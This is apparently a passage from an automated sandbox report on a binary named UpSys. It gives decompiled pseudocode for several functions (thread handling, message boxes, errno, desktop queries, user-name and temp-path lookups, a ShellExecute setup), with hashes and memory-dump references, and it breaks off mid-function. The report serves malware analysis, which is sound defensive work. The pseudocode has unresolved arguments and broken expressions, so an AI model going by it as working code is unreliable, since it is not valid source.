                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorLastacceptselect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 385091864-0
                                                                                                                                                                                                        • Opcode ID: 4c3edcbb57b6a08607bdec9607b3594728f338d4165bec21b44262f42cd292a1
                                                                                                                                                                                                        • Instruction ID: a6f160364877169bf53487777f6234931399cfec96b65ae7030ec30758c83dcd
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4c3edcbb57b6a08607bdec9607b3594728f338d4165bec21b44262f42cd292a1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E021C27271468186E764DB2AF985BDEB7A0E7C87C0F549121BF8D87B66DF38C4118B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400507B0 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 22%
                                                                                                                                                                                                        			E000000011400507B0(long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24, char _a40) {
				intOrPtr _v36;
				char _v40;
				long long _v48;
				signed int _v56;
				int _t18;
				signed int _t20;
				char _t23;
				long long _t34;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t23 = _a40;
				 *0x400b549e = dil;
				if (_t23 == 0) goto 0x40050826;
				 *0x400b549f = 1;
				_v40 = GetCurrentThreadId();
				_t34 =  &_a40;
				_v48 = _t34;
				_v56 = _v56 & 0;
				_v36 = _t23;
				E00000001140018674(0, _t34, __rbx, __rcx, __rsi, __r8, 0x140050690,  &_v40);
				_t18 = MessageBoxW(??, ??, ??, ??);
				if (_t34 == 0) goto 0x4005085b;
				 *0x400b549f = 0;
				WaitForSingleObject(??, ??);
				_t20 = CloseHandle(??);
				_t25 =  ==  ? _t20 | 0xffffffff : _t18;
				_t22 =  ==  ? _t20 | 0xffffffff : _t18;
				return  ==  ? _t20 | 0xffffffff : _t18;
			}











                                                                                                                                                                                                        0x1400507b0
                                                                                                                                                                                                        0x1400507b5
                                                                                                                                                                                                        0x1400507ba
                                                                                                                                                                                                        0x1400507c8
                                                                                                                                                                                                        0x1400507dd
                                                                                                                                                                                                        0x1400507e6
                                                                                                                                                                                                        0x1400507e8
                                                                                                                                                                                                        0x1400507fa
                                                                                                                                                                                                        0x1400507fe
                                                                                                                                                                                                        0x14005080d
                                                                                                                                                                                                        0x140050812
                                                                                                                                                                                                        0x14005081a
                                                                                                                                                                                                        0x14005081e
                                                                                                                                                                                                        0x140050832
                                                                                                                                                                                                        0x14005083d
                                                                                                                                                                                                        0x140050845
                                                                                                                                                                                                        0x14005084c
                                                                                                                                                                                                        0x140050855
                                                                                                                                                                                                        0x14005086f
                                                                                                                                                                                                        0x140050872
                                                                                                                                                                                                        0x140050882

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseCurrentHandleMessageObjectSingleThreadWait_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3330887357-0
                                                                                                                                                                                                        • Opcode ID: 8ab5c40b24a1aaa3c00cd180cfd794c121713d451fd878fc8e529372ba5612d9
                                                                                                                                                                                                        • Instruction ID: 556067e62c27199199c99b01fc639629f1d99b2fa70d3201c6108814cd09d805
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8ab5c40b24a1aaa3c00cd180cfd794c121713d451fd878fc8e529372ba5612d9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CA218C32608B808AE752DF67B94179AB6A0B78DBD9F444215BF9943B65CF78C1448740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003D230 Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1358664141-0
                                                                                                                                                                                                        • Opcode ID: ff4755cae5e13df133c861c73e2cca0cf985183b663e3b764b241b4d33c428fe
                                                                                                                                                                                                        • Instruction ID: 258d14046f97630d9caccc0d645d5aaa7e33a4ef9d2ff0e624f328a218ffee80
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ff4755cae5e13df133c861c73e2cca0cf985183b663e3b764b241b4d33c428fe
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 232129766087C08BE766CB1AF444B9AB7A0F79DB84F044025EB8D83B68DB7CC584CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D590 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • FlsFree.KERNEL32(?,?,?,?,000000014001D905,?,?,00000000,000000014001D376), ref: 000000014001D59F
                                                                                                                                                                                                        • DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000014001D905), ref: 000000014001F06E
                                                                                                                                                                                                        • free.LIBCMT ref: 000000014001F077
                                                                                                                                                                                                        • DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000014001D905), ref: 000000014001F097
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalDeleteSection$Freefree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1250194111-0
                                                                                                                                                                                                        • Opcode ID: ecbc6788553de8023f788feff4e23cd35aec6e10e39c3b7a66f680e3b034bc54
                                                                                                                                                                                                        • Instruction ID: dfbe699cacb1ab95caaaeb1b256e67206672ee6b1f5d2dd1a528f6223a720b1a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ecbc6788553de8023f788feff4e23cd35aec6e10e39c3b7a66f680e3b034bc54
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 59117332601A40C6FB179B13E4543AC7360F75CBD4F584212F7590B6B6CB79C492CB01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140054630 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2783949968-0
                                                                                                                                                                                                        • Opcode ID: b98dbd8207941b54954c69ea9d2728852527a2b67d9295be417c069faeaab3cd
                                                                                                                                                                                                        • Instruction ID: 14465896cda07dc9de61fe9735a7ad4d409b725ae712135b1f4517dc8d974cd0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b98dbd8207941b54954c69ea9d2728852527a2b67d9295be417c069faeaab3cd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D1015E3661479083F7568B27B819B99ABA0B78ABD8F185114EF5603BB5CF79C8448B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400220AC Relevance: 6.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E000000011400220AC(signed int __ecx, void* __edx, signed int* __rax, void* __rbx, void* __rsi, void* __rbp, void* __r8) {
				signed long long _v24;
				void* _t22;
				intOrPtr _t28;
				signed int* _t29;
				signed long long _t34;

				_t15 = __ecx;
				if (__ecx != 0xfffffffe) goto 0x400220ca;
				E0000000114001EB04(__ecx - 0xfffffffe, __rax);
				 *__rax =  *__rax & 0x00000000;
				E0000000114001EAE4(__ecx - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x40022127;
				if (__ecx < 0) goto 0x400220ff;
				_t22 = _t15 -  *0x400c88bc; // 0x20
				if (_t22 >= 0) goto 0x400220ff;
				_t34 = __ecx * 0x58;
				_t28 =  *((intOrPtr*)(0x400c88c0 + (__ecx >> 5) * 8));
				if (( *(_t28 + _t34 + 8) & 0x00000001) == 0) goto 0x400220ff;
				_t29 =  *((intOrPtr*)(_t28 + _t34));
				goto 0x4002212b;
				E0000000114001EB04( *(_t28 + _t34 + 8) & 0x00000001, _t29);
				 *_t29 =  *_t29 & 0x00000000;
				E0000000114001EAE4( *(_t28 + _t34 + 8) & 0x00000001, _t29);
				_v24 = _v24 & 0x00000000;
				r9d = 0;
				r8d = 0;
				 *_t29 = 9;
				return E0000000114001EA14(_t29, __rbx, 0x400c88c0, _t34, __rsi, __rbp, __r8);
			}








                                                                                                                                                                                                        0x1400220ac
                                                                                                                                                                                                        0x1400220b3
                                                                                                                                                                                                        0x1400220b5
                                                                                                                                                                                                        0x1400220ba
                                                                                                                                                                                                        0x1400220bd
                                                                                                                                                                                                        0x1400220c2
                                                                                                                                                                                                        0x1400220c8
                                                                                                                                                                                                        0x1400220cc
                                                                                                                                                                                                        0x1400220ce
                                                                                                                                                                                                        0x1400220d4
                                                                                                                                                                                                        0x1400220ea
                                                                                                                                                                                                        0x1400220ee
                                                                                                                                                                                                        0x1400220f7
                                                                                                                                                                                                        0x1400220f9
                                                                                                                                                                                                        0x1400220fd
                                                                                                                                                                                                        0x1400220ff
                                                                                                                                                                                                        0x140022104
                                                                                                                                                                                                        0x140022107
                                                                                                                                                                                                        0x14002210c
                                                                                                                                                                                                        0x140022112
                                                                                                                                                                                                        0x140022115
                                                                                                                                                                                                        0x14002211c
                                                                                                                                                                                                        0x14002212f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 921712934-0
                                                                                                                                                                                                        • Opcode ID: c2392fe61e179b61338951af7f3e495960407f55f9c1f64a0ba1bd27adb2e6a7
                                                                                                                                                                                                        • Instruction ID: 7b8d87c7e589e1864f37db45a9a81689cfbfb4914bfe8fa3052309d005e7fdb4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c2392fe61e179b61338951af7f3e495960407f55f9c1f64a0ba1bd27adb2e6a7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6601DB7261468441FB276F6BC4953ED2651AB987E1F918709FB290B7F7CF3D4401C612
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008507E Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 23%
                                                                                                                                                                                                        			E0000000114008507E(void* __rax, void* __rbx, void* __r15) {
				intOrPtr _t16;
				void* _t17;
				intOrPtr* _t39;
				void* _t41;

				_t25 = __rbx;
				GetDesktopWindow();
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(__rax, _t41 + 0xa0);
				 *((intOrPtr*)(_t41 + 0x628)) = 0x104;
				GetUserNameW(??, ??); // executed
				_t16 =  *0x400c5f48; // 0x4
				if (_t16 == 3) goto 0x40085116;
				if (_t16 != 4) goto 0x40084bc7;
				_t17 = E00000001140007A40(__rbx, _t39, __rax);
				 *_t39 = r12d;
				 *((intOrPtr*)(_t39 + 8)) = r12d;
				r12d = r14d;
				E00000001140002610(_t17, _t25, __r15);
				asm("inc ecx");
				return r12d;
			}







                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2889604237-0
                                                                                                                                                                                                        • Opcode ID: 072345958e0ab7f6d26afd2d6fefffe171bd4fd098dc9a88555cc152c9ea9d40
                                                                                                                                                                                                        • Instruction ID: 0bfe85f71af9cdaf0770aec75ff0767cb85929c1b9fdad72d2509bcfea1e704b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 072345958e0ab7f6d26afd2d6fefffe171bd4fd098dc9a88555cc152c9ea9d40
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B8F06D7370068085EA02DB23A8083D92254B74CFE2F448021AF0E037B1EE3DC5868240
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140085039 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 19%
                                                                                                                                                                                                        			E00000001140085039(void* __rax, void* __rbx, void* __r15) {
				int _t13;
				intOrPtr _t22;
				void* _t23;
				int* _t54;
				void* _t56;

				_t33 = __rbx;
				GetDesktopWindow();
				GetDC(??);
				_t13 = GetDeviceCaps(??, ??);
				E00000001140007A40(__rbx, _t54, __rax);
				_t54[2] = r12d;
				 *_t54 = _t13;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(__rax, _t56 + 0xa0);
				 *((intOrPtr*)(_t56 + 0x628)) = 0x104;
				GetUserNameW(??, ??); // executed
				_t22 =  *0x400c5f48; // 0x4
				if (_t22 == 3) goto 0x40085116;
				if (_t22 != 4) goto 0x40084bc7;
				_t23 = E00000001140007A40(_t33, _t54, __rax);
				 *_t54 = r12d;
				_t54[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t23, _t33, __r15);
				asm("inc ecx");
				return r12d;
			}








                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2889604237-0
                                                                                                                                                                                                        • Opcode ID: e76a29ae1cdbc1ed71ac5260c6b78de673136059c24312bbdbd50018c0d11ca0
                                                                                                                                                                                                        • Instruction ID: 51624c4ca62e435a78a77bfcd75fe1263cf888078d19e4e9cb75afc8558f1e84
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e76a29ae1cdbc1ed71ac5260c6b78de673136059c24312bbdbd50018c0d11ca0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BAF0177270168486EA06DB23A8087D96264B78CFE6F448425EF4A077B5EE39C9868340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140067C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 76%
                                                                                                                                                                                                        			E00000001140067C10(void* __ecx, void* __edx, void* __esi, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8) {
				void* _t47;
				int _t61;
				void* _t69;
				void* _t75;
				intOrPtr _t77;
				intOrPtr* _t94;
				intOrPtr* _t95;
				long long _t99;
				intOrPtr* _t104;
				intOrPtr* _t105;
				void* _t135;
				long long _t139;
				long long _t141;
				intOrPtr* _t142;
				void* _t144;
				void* _t145;
				void* _t148;
				void* _t150;
				long long _t151;
				void* _t153;
				long long _t155;
				void* _t157;
				struct _SHELLEXECUTEINFOW* _t159;

				_t69 = __ecx;
				 *((long long*)(_t144 + 8)) = __rbx;
				 *((long long*)(_t144 + 0x10)) = _t141;
				 *((long long*)(_t144 + 0x18)) = __rsi;
				_t145 = _t144 - 0xb0;
				_t142 = __rcx;
				_t75 = r9d;
				r14b = __edx;
				_t47 = E0000000114000FD50(__rax, __r8, _t145 + 0x20);
				r12d = 0;
				_t6 = _t150 + 0x70; // 0x70
				r8d = _t6;
				_t7 = _t150 + 1; // 0x1
				r15d = _t7;
				E00000001140017520(_t47, _t69, 0, _t145 + 0x40, __rdx, __r8);
				if (_t75 - 2 < 0) goto 0x40067c94;
				_t94 =  *((intOrPtr*)(__r8 + 8));
				E00000001140062190(_t94,  *((intOrPtr*)(_t94 + 8)));
				if ( *_t94 == r12w) goto 0x40067c94;
				_t95 =  *((intOrPtr*)(__r8 + 8));
				E00000001140062190(_t95,  *((intOrPtr*)(_t95 + 8)));
				E00000001140015220(_t95, __r8, _t95);
				_t155 = _t95;
				if (_t75 - 3 < 0) goto 0x40067cb1;
				E00000001140062190(_t95,  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)) + 0x10)));
				E00000001140015220(_t95, __r8, _t95);
				_t139 = _t95;
				if (_t75 - 4 < 0) goto 0x40067cfa;
				E00000001140062190(_t95,  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)) + 0x18)));
				if ( *_t95 == r12w) goto 0x40067cfa;
				_t96 =  *((intOrPtr*)(__r8 + 8));
				_t151 =  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)) + 0x18));
				if (E00000001140058CA0(0x29,  *((intOrPtr*)(__r8 + 8)), _t151) != 0) goto 0x40067cf7;
				E00000001140011960(_t55, _t151);
				E00000001140012600(_t145 + 0x20, _t96);
				r12d = 0;
				if (_t75 - 5 < 0) goto 0x40067d10;
				r15d = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(__r8 + 8)) + 0x20))) & 0x0000ffff;
				_t148 = _t135;
